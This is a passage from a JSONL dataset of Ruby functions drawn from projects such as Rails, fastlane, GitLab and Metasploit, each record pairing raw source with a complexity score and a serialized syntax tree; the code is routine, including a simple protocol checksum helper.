end","complexity_score":32.88,"ast_json":"{\"type\":\"def\",\"children\":[\"map_accel_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mappings\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"internal\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"internal\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"sub\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mapping\",{\"type\":\"send\",\"children\":[null,\"x_accel_mapping\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"internal\"]},{\"type\":\"lvasgn\",\"children\":[\"external\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"internal\"]}]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"lvar\",\"children\":[\"external\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_path\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null]}]}]}","id":"7c441381-e038-4dbc-ae85-061a02028881"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":441,"raw_source":"def test_setting_cookie_with_same_site_strict\n @request.env[\"action_dispatch.cookies_same_site_protection\"] = proc { :strict }\n\n get :authenticate\n assert_set_cookie_header \"user_name=david; path=/; SameSite=Strict\"\n assert_equal({ \"user_name\" => \"david\" }, @response.cookies)\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_cookie_with_same_site_strict\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action_dispatch.cookies_same_site_protection\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"strict\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"authenticate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_set_cookie_header\",{\"type\":\"str\",\"children\":[\"user_name=david; path=/; SameSite=Strict\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"cookies\"]}]}]}]}","id":"44f046ec-468c-4265-8c8f-875d1a894a03"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/mysql2/mysql2_rake_test.rb","start_line":41,"raw_source":"def test_creates_database_with_no_default_options\n with_stubbed_connection_establish_connection do\n assert_called_with(@connection, :create_database, [\"my-app-db\", {}]) do\n ActiveRecord::Tasks::DatabaseTasks.create @configuration\n end\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creates_database_with_no_default_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_connection_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"create_database\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"my-app-db\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create\",{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]}]}]}","id":"c0835d30-50a2-4227-9267-8a91d52f5521"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_manager.rb","start_line":55,"raw_source":"def available_gems\n return [] unless gemfile_path\n dsl = Bundler::Dsl.evaluate(gemfile_path, nil, true)\n return dsl.dependencies.map(&:name)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"available_gems\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dsl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Dsl\"]},\"evaluate\",{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dsl\"]},\"dependencies\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"14cd0fcf-62b9-4567-87e5-ce974c95a8fb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/wdbrpc.rb","start_line":195,"raw_source":"def wdbrpc_checksum(data)\n sum = 0\n data.unpack(\"n*\").each {|c| sum += c }\n sum = (sum & 0xffff) + (sum >> 16)\n (~sum)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"wdbrpc_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sum\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"n*\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sum\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sum\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]},\"&\",{\"type\":\"int\",\"children\":[65535]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]},\">>\",{\"type\":\"int\",\"children\":[16]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]},\"~\"]}]}]}]}","id":"31d0909f-3fa8-484f-936e-7b31163de913"} {"repo_name":"forem","file_path":"./repos/forem/app/services/moderator/manage_activity_and_roles.rb","start_line":132,"raw_source":"def comment_suspended\n user.add_role(:comment_suspended)\n user.remove_role(:suspended)\n remove_privileges\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_suspended\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"add_role\",{\"type\":\"sym\",\"children\":[\"comment_suspended\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"remove_role\",{\"type\":\"sym\",\"children\":[\"suspended\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_privileges\"]}]}]}","id":"6a72cca6-482d-471e-9ec6-78a7719ed1b8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/project_member_type.rb","start_line":17,"raw_source":"def project\n Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.source_id).find\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"source_id\"]}]},\"find\"]}]}","id":"5198005f-8cb2-4d6f-bbb3-e3bf8676beac"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/journable/historic_active_record_relation.rb","start_line":127,"raw_source":"def historic_models_statement\n relation = Journal\n .joins(historic_models_data_journals_join)\n .joins(historic_models_original_models_join)\n .select(historic_models_selects)\n\n add_timestamp_condition(relation)\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"historic_models_statement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journal\"]},\"joins\",{\"type\":\"send\",\"children\":[null,\"historic_models_data_journals_join\"]}]},\"joins\",{\"type\":\"send\",\"children\":[null,\"historic_models_original_models_join\"]}]},\"select\",{\"type\":\"send\",\"children\":[null,\"historic_models_selects\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_timestamp_condition\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}","id":"fe5d1942-1661-4bf2-9fd7-43669b81036a"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_item_excerpt.rb","start_line":12,"raw_source":"def excerpt\n return nil unless cooked\n @excerpt ||= PrettyText.excerpt(cooked, 300, keep_emoji_images: true)\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"excerpt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cooked\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@excerpt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"excerpt\",{\"type\":\"send\",\"children\":[null,\"cooked\"]},{\"type\":\"int\",\"children\":[300]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_emoji_images\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e06b308e-aea8-42ea-80fa-96b623bcb6fd"} {"repo_name":"fastlane","file_path":"./repos/fastlane/scan/lib/scan/detect_values.rb","start_line":66,"raw_source":"def self.prevalidate\n output_types = Scan.config[:output_types]\n has_multiple_report_types = output_types && output_types.split(',').size > 1\n if has_multiple_report_types && Scan.config[:custom_report_file_name]\n UI.user_error!(\"Using a :custom_report_file_name with multiple :output_types (#{output_types}) will lead to unexpected results. Use :output_files instead.\")\n end\n end","complexity_score":14.93,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prevalidate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output_types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_types\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_multiple_report_types\",{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_types\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_multiple_report_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scan\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_report_file_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using a :custom_report_file_name with multiple :output_types (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_types\"]}]},{\"type\":\"str\",\"children\":[\") will lead to unexpected results. Use :output_files instead.\"]}]}]},null]}]}]}","id":"c332aa8a-9ef3-4fb0-9ed1-67597ff52afd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/lfs_objects_pipeline.rb","start_line":12,"raw_source":"def extract(_context)\n download_service.execute\n decompression_service.execute\n extraction_service.execute\n\n file_paths = Dir.glob(File.join(tmpdir, '*'))\n\n BulkImports::Pipeline::ExtractedData.new(data: file_paths)\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"download_service\"]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decompression_service\"]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extraction_service\"]},\"execute\"]},{\"type\":\"lvasgn\",\"children\":[\"file_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Pipeline\"]},\"ExtractedData\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"file_paths\"]}]}]}]}]}]}","id":"add9d0a3-65ac-4d2d-bda5-2556345e2a76"} {"repo_name":"fastlane","file_path":"./repos/fastlane/frameit/lib/frameit/options.rb","start_line":11,"raw_source":"def self.available_options\n @options ||= [\n\n FastlaneCore::ConfigItem.new(key: :white,\n env_name: \"FRAMEIT_WHITE_FRAME\",\n description: \"Use white device frames\",\n type: Boolean,\n optional: true),\n FastlaneCore::ConfigItem.new(key: :silver,\n env_name: \"FRAMEIT_SILVER_FRAME\",\n description: \"Use white device frames. Alias for :white\",\n type: Boolean,\n optional: true),\n FastlaneCore::ConfigItem.new(key: :rose_gold,\n env_name: \"FRAMEIT_ROSE_GOLD_FRAME\",\n description: \"Use rose gold device frames. Alias for :rose_gold\",\n type: Boolean,\n optional: true),\n FastlaneCore::ConfigItem.new(key: :gold,\n env_name: \"FRAMEIT_GOLD_FRAME\",\n description: \"Use gold device frames. Alias for :gold\",\n type: Boolean,\n optional: true),\n FastlaneCore::ConfigItem.new(key: :force_device_type,\n env_name: \"FRAMEIT_FORCE_DEVICE_TYPE\",\n description: \"Forces a given device type, useful for Mac screenshots, as their sizes vary\",\n optional: true,\n verify_block: proc do |value|\n UI.user_error!(\"Invalid device type '#{value}'. Available values: \" + Devices.all_device_names_without_apple.join(', ')) unless ConfigParser.supported_device?(value)\n end),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphone5s,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_5_S\",\n description: \"Use iPhone 5s instead of iPhone SE frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphone6s,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_6_S\",\n description: \"Use iPhone 6s frames instead of iPhone 7 frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphone7,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_7\",\n description: \"Use iPhone 7 frames instead of iPhone 8 frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphonex,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_X\",\n description: \"Use iPhone X instead of iPhone XS frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexr,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_XR\",\n description: \"Use iPhone XR instead of iPhone 11 frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexs,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_XS\",\n description: \"Use iPhone XS instead of iPhone 11 Pro frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_legacy_iphonexsmax,\n env_name: \"FRAMEIT_USE_LEGACY_IPHONE_XS_MAX\",\n description: \"Use iPhone XS Max instead of iPhone 11 Pro Max frames\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :force_orientation_block,\n type: :string_callback,\n description: \"[Advanced] A block to customize your screenshots' device orientation\",\n display_in_shell: false,\n optional: true,\n default_value: proc do |filename|\n f = filename.downcase\n if f.end_with?(\"force_landscapeleft\")\n :landscape_left\n elsif f.end_with?(\"force_landscaperight\")\n :landscape_right\n end\n end,\n default_value_dynamic: true),\n FastlaneCore::ConfigItem.new(key: :debug_mode,\n env_name: \"FRAMEIT_DEBUG_MODE\",\n description: \"Output debug information in framed screenshots\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :resume,\n env_name: \"FRAMEIT_RESUME\",\n description: \"Resume frameit instead of reprocessing all screenshots\",\n default_value: false,\n type: Boolean),\n FastlaneCore::ConfigItem.new(key: :use_platform,\n env_name: \"FRAMEIT_USE_PLATFORM\",\n description: \"Choose a platform, the valid options are IOS, ANDROID and ANY (default is either general platform defined in the fastfile or IOS to ensure backward compatibility)\",\n optional: true,\n default_value: Platform.symbol_to_constant(Fastlane::Helper::LaneHelper.current_platform),\n default_value_dynamic: true,\n verify_block: proc do |value|\n UI.user_error!(\"Invalid platform type '#{value}'. Available values are \" + Platform.all_platforms.join(', ') + \".\") unless ConfigParser.supported_platform?(value)\n end)\n ]\n end","complexity_score":56.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"white\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_WHITE_FRAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use white device frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"silver\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_SILVER_FRAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use white device frames. Alias for :white\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"rose_gold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_ROSE_GOLD_FRAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use rose gold device frames. Alias for :rose_gold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"gold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_GOLD_FRAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use gold device frames. Alias for :gold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"force_device_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_FORCE_DEVICE_TYPE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Forces a given device type, useful for Mac screenshots, as their sizes vary\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigParser\"]},\"supported_device?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid device type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'. Available values: \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devices\"]},\"all_device_names_without_apple\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphone5s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_5_S\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone 5s instead of iPhone SE frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphone6s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_6_S\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone 6s frames instead of iPhone 7 